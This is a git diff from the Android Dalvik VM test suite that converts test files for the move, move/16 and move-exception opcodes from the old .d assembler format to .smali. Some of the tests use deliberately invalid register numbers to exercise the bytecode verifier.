@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_3.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const v0, 0
+
+       move v15, v0
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.d
deleted file mode 100644
index 54adf05..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_4.java
-.class public dot.junit.opcodes.move.d.T_move_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       move v1, v8
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali
new file mode 100644
index 0000000..f8f1574
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_4.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       move v1, v8
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.d
deleted file mode 100644
index 1ab33b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_5.java
-.class public dot.junit.opcodes.move.d.T_move_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-       const-wide v0, 124
-
-       move v5, v0
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali
new file mode 100644
index 0000000..b5e136f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_5.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const-wide v0, 124
+
+       move v5, v0
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.d
deleted file mode 100644
index 91da915..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_6.java
-.class public dot.junit.opcodes.move.d.T_move_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-       const-wide v0, 124
-
-       move v5, v1
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali
new file mode 100644
index 0000000..6f560cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_6.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const-wide v0, 124
+
+       move v5, v1
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.d
deleted file mode 100644
index fa615c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_7.java
-.class public dot.junit.opcodes.move.d.T_move_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 9
-       const-wide v0, 124
-       const v5, 0
-
-       move v1, v5
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali
new file mode 100644
index 0000000..6e30237
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_7.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 9
+       const-wide v0, 124
+       const v5, 0
+
+       move v1, v5
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.smali
new file mode 100644
index 0000000..1a755d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.smali
@@ -0,0 +1,60 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_16/d/T_move_16_1;
+.super Ljava/lang/Object;
+.source "T_move_16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const v0, 0x7b
+
+    const v1, 0x162e
+
+    move/16 v4000, v0
+
+    move/16 v4001, v1
+
+    move/16 v4000, v4001
+
+    const/16 v4, 0x162e
+
+    move/16 v0, v4000
+
+    move/16 v1, v4001
+
+    if-ne v0, v4, :cond_1f
+
+    if-ne v1, v4, :cond_1f
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_1f
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.smali
new file mode 100644
index 0000000..13a41ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.smali
@@ -0,0 +1,52 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_16/d/T_move_16_2;
+.super Ljava/lang/Object;
+.source "T_move_16_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const v1, 0x162e
+
+    move/16 v4001, v1
+
+    move/16 v0, v4001
+
+    const/16 v4, 0x162e
+
+    if-ne v0, v4, :cond_13
+
+    if-ne v1, v4, :cond_13
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_13
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.d
deleted file mode 100644
index 604cbf3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_3.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       move/16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali
new file mode 100644
index 0000000..f6f1305
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_3.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       move/16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.d
deleted file mode 100644
index 2c098a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_4.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const v0, 0
-       move/16 v5000, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali
new file mode 100644
index 0000000..7bac6fc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_4.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const v0, 0
+       move/16 v5000, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.d
deleted file mode 100644
index ccacc33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_5.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move/16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali
new file mode 100644
index 0000000..89b2cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_5.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.d
deleted file mode 100644
index eb4b9c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_6.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const-wide v123, 123
-       move/16 v255, v123
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali
new file mode 100644
index 0000000..836bfcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_6.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const-wide v123, 123
+       move/16 v255, v123
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.d
deleted file mode 100644
index a6aa1d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_7.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-
-       const-wide v123, 123
-       move/16 v255, v124
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali
new file mode 100644
index 0000000..3cbf8fc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_7.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+
+       const-wide v123, 123
+       move/16 v255, v124
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.d
deleted file mode 100644
index 8d98954..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_8.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const v0, 0
-       move/16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali
new file mode 100644
index 0000000..b683bd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_8.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const v0, 0
+       move/16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.d
deleted file mode 100644
index ed7aa2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_exception_1.java
-.class public dot.junit.opcodes.move_exception.d.T_move_exception_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-Label1:
-       const v1, 15
-       const v2, 0
-       div-int v0, v1, v2 
-       
-Label2:
-       goto Label4
-
-Label3:
-       move-exception v3
-       throw v3
-
-Label4:
-       return-void
-
-.catch all from Label1 to Label2 using Label3
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java
index 9edf6ea..951250f 100644
